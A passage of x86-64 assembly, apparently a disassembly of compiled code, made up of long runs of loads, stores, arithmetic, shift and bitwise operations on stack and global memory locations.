mov rax, qword [rsp + 0xc9e0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb7f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc9d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3acc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4544], eax
mov rax, qword [rsp + 0xb188]
mov eax, dword [rax]
mov dword [rsp + 0x4bac], eax
mov rax, qword [0x14019dd78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb650]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc208]
mov byte [rcx], al
lea rax, [rsp + 0xaa0]
mov qword [rsp + 0xc9e8], rax
mov eax, dword [rsp + 0x4268]
mov ecx, dword [rsp + 0x4278]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4398], eax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xacf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc660]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44e0]
mov dword [rsp + 0x4bb0], eax
mov rax, qword [rsp + 0xbe80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x430c]
add ecx, eax
mov eax, ecx
mov dword [0x14019c00c], eax
mov rax, qword [0x14019dac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1120]
and eax, ecx
mov word [rsp + 0xef0], ax
lea rax, [rsp + 0x156]
mov qword [rsp + 0xc9f0], rax
mov rax, qword [rsp + 0xa790]
movsx eax, word [rax]
movsx ecx, word [0x14019bf24]
add eax, ecx
mov rcx, qword [rsp + 0xc1a0]
mov word [rcx], ax
lea rax, [rsp + 0x174]
mov qword [rsp + 0xc9f8], rax
mov eax, dword [rsp + 0x4afc]
mov ecx, dword [rsp + 0x4964]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc2f0]
mov dword [rcx], eax
mov eax, dword [0x14019bf50]
mov ecx, dword [rsp + 0x4b04]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc938]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb818]
movzx eax, byte [rax]
mov byte [rsp + 0x258], al
mov rax, qword [rsp + 0xba20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x112c]
sub eax, ecx
mov word [rsp + 0x1238], ax
lea rax, [rsp + 0x4a90]
mov qword [0x14019de28], rax
mov eax, dword [0x14019d7e0]
mov dword [rsp + 0x4bb4], eax
mov rax, qword [rsp + 0xbfe8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4978]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa650]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x3f28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc678]
mov dword [rcx], eax
movzx eax, byte [0x14019d7e4]
mov byte [rsp + 0x259], al
movzx eax, word [rsp + 0x1214]
mov rcx, qword [rsp + 0xab18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1018], ax
lea rax, [rsp + 0x47d4]
mov qword [rsp + 0xca00], rax
mov eax, dword [rsp + 0x4434]
mov ecx, dword [0x14019c020]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48fc], eax
mov rax, qword [rsp + 0xbc80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbfa0]
mov qword [rsp + 0xca08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca08]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbf80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc8d0]
mov ecx, dword [0x14019dc78]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019c068], eax
mov eax, dword [rsp + 0x4b04]
mov dword [rsp + 0x4bb8], eax
mov rax, qword [rsp + 0xab20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fc]
or eax, ecx
mov byte [rsp + 0x251], al
mov rax, qword [rsp + 0xb440]
movzx eax, word [rax]
mov word [rsp + 0x12e0], ax
movzx eax, byte [0x14019bf27]
mov rcx, qword [rsp + 0xc590]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x20f], al
movzx eax, word [rsp + 0xf3c]
movzx ecx, word [rsp + 0x1198]
and eax, ecx
mov rcx, qword [rsp + 0xae20]
mov word [rcx], ax
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3740], eax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x4ac4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaf50]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x257]
mov byte [rsp + 0x25a], al
mov rax, qword [rsp + 0xb010]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa850]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14019dc88]
mov word [rcx], ax
mov eax, dword [rsp + 0x335c]
mov ecx, dword [rsp + 0x33f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45d0], eax
lea rax, [rsp + 0x3bf0]
mov qword [rsp + 0xca10], rax
mov rax, qword [rsp + 0xb0e0]
mov rcx, qword [rsp + 0xc0f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc398]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4a48]
mov ecx, dword [rsp + 0x4274]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x495c], eax
mov rax, qword [rsp + 0xc2e8]
movzx eax, word [rax]
mov word [rsp + 0x12e4], ax
movzx eax, byte [rsp + 0x241]
movzx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov rcx, qword [rsp + 0xc358]
mov byte [rcx], al
mov eax, dword [rsp + 0x42ec]
mov dword [rsp + 0x4bbc], eax
mov eax, dword [rsp + 0x41d4]
mov ecx, dword [rsp + 0x44e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x430c], eax
movsx eax, byte [0x14019900d]
mov rcx, qword [rsp + 0xc750]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14019bf1e], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaa70]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1194], ax
lea rax, [0x14019900a]
mov qword [rsp + 0xca18], rax
mov rax, qword [rsp + 0xaf68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab10]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xde0], ax
mov eax, dword [rsp + 0x46c8]
mov dword [rsp + 0x4bc0], eax
mov rax, qword [rsp + 0xb250]
mov rcx, qword [rsp + 0xbcd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4764], eax
mov rax, qword [rsp + 0xaf00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x433c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x447c], eax
lea rax, [rsp + 0x4454]
mov qword [rsp + 0xca20], rax
mov rax, qword [rsp + 0xabf0]
mov rcx, qword [rsp + 0xc1b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4b24], eax
lea rax, [rsp + 0x1d2]
mov qword [rsp + 0xca28], rax
mov rax, qword [rsp + 0xbbb0]
movzx eax, word [rax]
mov word [0x14019de30], ax
mov rax, qword [rsp + 0xbc18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x486c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4900], eax
mov rax, qword [0x14019ddd8]
mov eax, dword [rax]
mov dword [rsp + 0x4bc4], eax
mov eax, dword [rsp + 0x42d0]
mov ecx, dword [rsp + 0x4170]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x492c]
mov ecx, dword [rsp + 0x4274]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb3a0]
mov dword [rcx], eax
lea rax, [rsp + 0xf04]
mov qword [rsp + 0xca30], rax
mov rax, qword [rsp + 0xb450]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b6]
and eax, ecx
mov rcx, qword [rsp + 0xaa28]
mov byte [rcx], al
mov rax, qword [rsp + 0xbf78]
movzx eax, word [rax]
mov word [rsp + 0x12e8], ax
movsx eax, byte [rsp + 0x23e]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x196], al
mov eax, dword [rsp + 0x3bc0]
mov ecx, dword [rsp + 0x346c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d9b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7b8]
mov rcx, qword [rsp + 0xbb90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x478c], eax
mov rax, qword [rsp + 0xb2e8]
movzx eax, word [rax]
mov word [rsp + 0x12ec], ax
mov rax, qword [rsp + 0xb428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbf]
add eax, ecx
mov rcx, qword [rsp + 0xa9c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa00]
mov eax, dword [rax]
mov dword [rsp + 0x4bc8], eax
mov eax, dword [rsp + 0x36b4]
mov ecx, dword [0x14019c008]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x455c], eax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x42fc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb000]
mov dword [rcx], eax
lea rax, [rsp + 0x4818]
mov qword [rsp + 0xca38], rax
mov rax, qword [0x14019d8d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc968]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x11a0], ax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f5]
sar eax, cl
mov byte [0x14019bfb2], al
mov eax, dword [rsp + 0x4210]
mov ecx, dword [rsp + 0x4870]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d38], eax
mov rax, qword [rsp + 0xae78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x465c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42d4], eax
mov rax, qword [rsp + 0xa810]
mov rcx, qword [rsp + 0xa950]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4628], eax
lea rax, [rsp + 0x4b8c]
mov qword [rsp + 0xca40], rax
mov eax, dword [rsp + 0x4ad0]
mov ecx, dword [rsp + 0x35fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbf8]
movzx eax, byte [rax]
mov byte [rsp + 0x25b], al
movsx eax, word [0x14019db80]
mov rcx, qword [rsp + 0xc4c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
lea rax, [rsp + 0x240]
mov qword [rsp + 0xca48], rax
mov rax, qword [rsp + 0xb050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x104c]
sub eax, ecx
mov word [0x14019d844], ax
mov rax, qword [rsp + 0xbe58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3740]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc768]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb190]
mov ecx, dword [rsp + 0x44a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42dc], eax
movzx eax, byte [rsp + 0x1f7]
mov byte [rsp + 0x25c], al
mov rax, qword [rsp + 0xc530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xabd0]
mov eax, dword [rax]
mov dword [rsp + 0x4bcc], eax
mov rax, qword [rsp + 0xba68]
mov ecx, dword [0x14019dd38]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbd08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x426c]
movzx ecx, al
mov eax, dword [rsp + 0x4968]
shl eax, cl
mov rcx, qword [rsp + 0xa920]
mov dword [rcx], eax
lea rax, [rsp + 0x45fc]
mov qword [rsp + 0xca50], rax
lea rax, [rsp + 0x1aa]
mov qword [0x14019de38], rax
mov rax, qword [rsp + 0xc2d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d8]
xor eax, ecx
mov rcx, qword [rsp + 0xc598]
mov word [rcx], ax
mov eax, dword [rsp + 0x43c0]
mov dword [rsp + 0x4bd0], eax
mov rax, qword [rsp + 0xaf18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xca50]
mov qword [rsp + 0xca58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca58]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x42d4], eax
movsx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0xc840]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x23c], al
mov rax, qword [rsp + 0xc6f0]
movzx eax, word [rax]
mov word [rsp + 0x12f0], ax
movzx eax, word [rsp + 0x1008]
movzx ecx, word [0x14019bef0]
and eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0d8]
movzx eax, byte [rax]
mov byte [rsp + 0x25d], al
mov rax, qword [rsp + 0xc660]
mov rcx, qword [rsp + 0xb9e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb3a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x49e8]
mov ecx, dword [rsp + 0x459c]
add ecx, eax
mov eax, ecx
mov dword [0x14019c06c], eax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xa7d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cbc], eax
mov rax, qword [rsp + 0xbd98]
mov eax, dword [rax]
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb918]
mov rcx, qword [0x14019ddb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4328], eax
mov rax, qword [rsp + 0xbf40]
movzx eax, word [rax]
mov word [rsp + 0x12f4], ax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbce8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1cc], al
mov rax, qword [rsp + 0xb410]
mov ecx, dword [0x14019bf30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d74], eax
mov rax, qword [rsp + 0xacf8]
mov ecx, dword [rsp + 0x41fc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbaf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb788]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4538], eax
mov rax, qword [rsp + 0xa820]
mov rcx, qword [rsp + 0xa8f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019d830], eax
mov rax, qword [rsp + 0xc848]
movzx eax, word [rax]
mov word [rsp + 0x12f8], ax
movzx eax, byte [rsp + 0x224]
movzx ecx, byte [rsp + 0x15b]
sar eax, cl
mov rcx, qword [rsp + 0xa8e0]
mov byte [rcx], al
lea rax, [rsp + 0x10f4]
mov qword [rsp + 0xca60], rax
movsx eax, byte [rsp + 0x233]
movsx ecx, byte [rsp + 0x1f2]
or eax, ecx
mov rcx, qword [rsp + 0xc5a0]
mov byte [rcx], al
mov eax, dword [0x14019bfe0]
movzx ecx, al
mov eax, dword [rsp + 0x43dc]
shl eax, cl
mov dword [rsp + 0x45f0], eax
lea rax, [rsp + 0x47b8]
mov qword [rsp + 0xca68], rax
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0xc1e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x161], al
mov rax, qword [rsp + 0xa548]
movzx eax, word [rax]
mov word [rsp + 0x12fc], ax
mov eax, dword [rsp + 0x41b0]
mov dword [0x14019de40], eax
mov rax, qword [rsp + 0xa938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4abc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b30], eax
mov rax, qword [rsp + 0xa8e8]
mov rcx, qword [rsp + 0xc908]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4444], eax
mov rax, qword [0x14019dbc0]
mov eax, dword [rax]
mov dword [rsp + 0x4bd8], eax
mov rax, qword [rsp + 0xc7c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19e]
sub eax, ecx
mov byte [rsp + 0x1b5], al
lea rax, [rsp + 0x11e0]
mov qword [rsp + 0xca70], rax
mov rax, qword [0x14019db40]
mov rcx, qword [rsp + 0xb868]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbb20]
mov dword [rcx], eax
lea rax, [rsp + 0x3ef8]
mov qword [rsp + 0xca78], rax
mov rax, qword [rsp + 0xbdb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4018]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43c0], eax
mov rax, qword [rsp + 0xb0e0]
mov eax, dword [rax]
mov ecx, dword [0x14019dbb8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019db20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc580]
mov rcx, qword [rsp + 0xba40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbc08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae88]
movzx eax, word [rax]
mov word [rsp + 0x1300], ax
movsx eax, byte [rsp + 0x215]
mov rcx, qword [rsp + 0xafa8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbdd0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x165]
mov byte [rsp + 0x25e], al
mov rax, qword [rsp + 0xa898]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf88]
and eax, ecx
mov word [rsp + 0xef8], ax
mov eax, dword [rsp + 0x43e8]
mov rcx, qword [0x14019dc18]
mov qword [rsp + 0xca80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca80]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x49a8], eax
lea rax, [rsp + 0x483c]
mov qword [rsp + 0xca88], rax
mov rax, qword [rsp + 0xb020]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bfa7]
or eax, ecx
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0xc2e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbfb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019bfc8], ax
lea rax, [rsp + 0x4bd8]
mov qword [rsp + 0xca90], rax
mov rax, qword [0x14019ddf0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbc28]
mov qword [rsp + 0xca98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca98]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc410]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9a8]
mov rcx, qword [rsp + 0xc270]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x446c], eax
lea rax, [rsp + 0x41fc]
mov qword [rsp + 0xcaa0], rax
movzx eax, word [rsp + 0x10b4]
mov rcx, qword [rsp + 0xb4c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x117c], ax
mov rax, qword [rsp + 0xc358]
movzx eax, byte [rax]
mov byte [rsp + 0x25f], al
mov rax, qword [rsp + 0xb248]
mov rcx, qword [rsp + 0xb848]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbcf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xabc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x438c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46f4], eax
movsx eax, byte [rsp + 0x22f]
mov rcx, qword [rsp + 0xbd48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bfb3], al
lea rax, [rsp + 0x1074]
mov qword [rsp + 0xcaa8], rax
movzx eax, word [rsp + 0x11d4]
mov rcx, qword [rsp + 0xb370]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd74], ax
lea rax, [rsp + 0x159]
mov qword [rsp + 0xcab0], rax
mov rax, qword [rsp + 0xb670]
mov rcx, qword [rsp + 0xb3a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc470]
mov dword [rcx], eax
lea rax, [rsp + 0x4214]
mov qword [rsp + 0xcab8], rax
mov rax, qword [rsp + 0xbc68]
mov rcx, qword [rsp + 0xc108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d34], eax
mov rax, qword [rsp + 0xb938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4700]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38a0], eax
mov eax, dword [rsp + 0x4ae4]
mov dword [rsp + 0x4bdc], eax
movzx eax, byte [rsp + 0x243]
mov rcx, qword [rsp + 0xa890]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0xc740]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfd8]
sub eax, ecx
mov word [0x14019c024], ax
mov eax, dword [0x14019dd38]
mov dword [rsp + 0x4be0], eax
mov eax, dword [rsp + 0x365c]
movzx ecx, al
mov eax, dword [rsp + 0x49e0]
sar eax, cl
mov dword [rsp + 0x4518], eax
mov eax, dword [rsp + 0x45bc]
mov ecx, dword [rsp + 0x47b0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbdc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb168]
mov eax, dword [rax]
mov dword [rsp + 0x4be4], eax
movzx eax, byte [rsp + 0x1d8]
movzx ecx, byte [rsp + 0x1c2]
shl eax, cl
mov byte [rsp + 0x23f], al
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0xc8b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xae0], ax
movsx eax, byte [rsp + 0x199]
mov rcx, qword [rsp + 0xa9e0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc780]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb70]
sub eax, ecx
mov rcx, qword [rsp + 0xb6b8]
mov word [rcx], ax
lea rax, [rsp + 0x45e8]
mov qword [0x14019de48], rax
lea rax, [rsp + 0x48cc]
mov qword [rsp + 0xcac0], rax
mov rax, qword [rsp + 0xaae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb8]
add eax, ecx
mov rcx, qword [rsp + 0xc7f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x258]
mov byte [rsp + 0x260], al
mov rax, qword [rsp + 0xbc08]
mov eax, dword [rax]
mov ecx, dword [0x14019dc60]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4878], eax
lea rax, [rsp + 0x4a20]
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xc170]
mov ecx, dword [0x14019c064]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa7d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb868]
mov ecx, dword [rsp + 0x4528]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48e8], eax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x261], al
mov rax, qword [rsp + 0xb3c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa648]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019d900]
mov word [rcx], ax
mov rax, qword [rsp + 0xb550]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa708]
mov dword [rcx], eax
lea rax, [rsp + 0x4850]
mov qword [rsp + 0xcad0], rax
mov rax, qword [rsp + 0xb820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4788]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4aac], eax
mov rax, qword [rsp + 0xc570]
mov ecx, dword [rsp + 0x43d4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbff8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4578]
mov dword [rsp + 0x4be8], eax
movsx eax, word [rsp + 0xd44]
mov rcx, qword [rsp + 0xc718]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xecc], ax
movzx eax, byte [rsp + 0x1bc]
mov byte [rsp + 0x262], al
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10c8]
or eax, ecx
mov word [rsp + 0x12c0], ax
lea rax, [rsp + 0x261]
mov qword [0x14019de50], rax
mov rax, qword [rsp + 0xb9b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019bf70]
shr eax, cl
mov dword [rsp + 0x486c], eax
lea rax, [rsp + 0x435c]
mov qword [rsp + 0xcad8], rax
movzx eax, word [rsp + 0x10cc]
mov rcx, qword [rsp + 0xb730]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12fc], ax
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x263], al
mov rax, qword [rsp + 0xc108]
mov rcx, qword [rsp + 0xa6b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x468c], eax
mov rax, qword [rsp + 0xc0a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x492c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc180]
mov dword [rcx], eax
lea rax, [rsp + 0x4254]
mov qword [rsp + 0xcae0], rax
mov eax, dword [rsp + 0x4568]
mov ecx, dword [rsp + 0x3420]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b8], eax
movzx eax, byte [rsp + 0x1a3]
mov rcx, qword [rsp + 0xb020]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bef3], al
lea rax, [rsp + 0xfb0]
mov qword [rsp + 0xcae8], rax
mov rax, qword [rsp + 0xab08]
mov ecx, dword [rsp + 0x49f4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b48], eax
lea rax, [rsp + 0x4b68]
mov qword [rsp + 0xcaf0], rax
mov rax, qword [rsp + 0xc178]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa630]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12e8], ax
movsx eax, byte [rsp + 0x1b3]
mov rcx, qword [rsp + 0xad60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc3d8]
mov byte [rcx], al
lea rax, [rsp + 0x1048]
mov qword [rsp + 0xcaf8], rax
movzx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0xc358]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa8e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf88]
mov eax, dword [rax]
mov dword [rsp + 0x4bec], eax
mov rax, qword [rsp + 0xb4e0]
mov rcx, qword [0x14019da70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c070], eax
mov eax, dword [rsp + 0x41e4]
movzx ecx, al
mov eax, dword [rsp + 0x42ac]
shl eax, cl
mov dword [rsp + 0x4824], eax
mov rax, qword [rsp + 0xbd28]
mov rcx, qword [rsp + 0xb168]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc3e0]
mov dword [rcx], eax
mov eax, dword [0x14019bfe8]
mov dword [rsp + 0x4bf0], eax
mov rax, qword [rsp + 0xbbf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x238]
sar eax, cl
mov rcx, qword [rsp + 0xa9c0]
mov byte [rcx], al
movzx eax, word [rsp + 0xe20]
mov word [rsp + 0x1304], ax
mov eax, dword [rsp + 0x49f8]
mov ecx, dword [rsp + 0x44dc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x43c0]
mov ecx, dword [rsp + 0x3acc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc470]
mov dword [rcx], eax
lea rax, [rsp + 0x4574]
mov qword [rsp + 0xcb00], rax
mov rax, qword [rsp + 0xaa00]
mov eax, dword [rax]
mov ecx, dword [0x14019bfa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d848]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc808]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sub eax, ecx
mov word [rsp + 0x107c], ax
mov rax, qword [rsp + 0xae58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b4]
